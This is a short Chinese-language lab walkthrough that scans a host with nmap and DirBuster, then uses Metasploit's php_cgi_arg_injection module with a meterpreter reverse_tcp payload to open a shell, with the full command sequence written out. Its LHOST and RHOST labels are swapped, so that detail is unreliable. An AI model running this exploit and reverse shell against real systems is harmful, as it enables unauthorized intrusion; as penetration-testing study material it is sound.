Metasploit溢出phpMyAdmin漏洞

目的

利用phpMyAdmin漏洞上传mua程序,获得webshell.

环境

Metasploit溢出phpMyAdmin漏洞_第1张图片
攻击环境

步骤

  1. nmap扫端口(查看80端口是否开了):nmap -sV 192.168.1.3
    Metasploit溢出phpMyAdmin漏洞_第2张图片
    发现80端口打开
  2. 浏览器地址栏输入:http:\192.168.1.3访问目标网站.
  3. 命令dirbuster打开OWASP DirBuster软件对目标网站扫描.
  4. 在Target URL处输入http://192.168.1.3,在File with list of dirs./file出选择字典文件.单击start开始扫描.
  5. 扫描结果显示包含cgi-bin目录\phpmyadmin目录等.


    Metasploit溢出phpMyAdmin漏洞_第3张图片
    扫描结果
  6. 利用metasploit攻击目标主机:
    6.1 打开msfconsole之后,输入search php-cgi,搜索php_cgi的相关工具和攻击载荷.
    Metasploit溢出phpMyAdmin漏洞_第4张图片
    搜索结果

    6.2 输入use exploit/multi/http/php_cgi_arg_injection,启动漏洞利用模块,提示符就会提示进入到该路径下.
    6.3 show payloads --> set PAYLOAD php/meterpreter/reverse_tcp --> show options(显示攻击模块需要设置的参数) --> set LHOST 192.168.1.2(目标主机ip,用于会话反向链接) --> set RHOST 192.168.1.3(源主机ip) --> exploit --> ls
    Metasploit溢出phpMyAdmin漏洞_第5张图片
    show payloads

    Metasploit溢出phpMyAdmin漏洞_第6张图片
    成功getshell

你可能感兴趣的:(Metasploit溢出phpMyAdmin漏洞)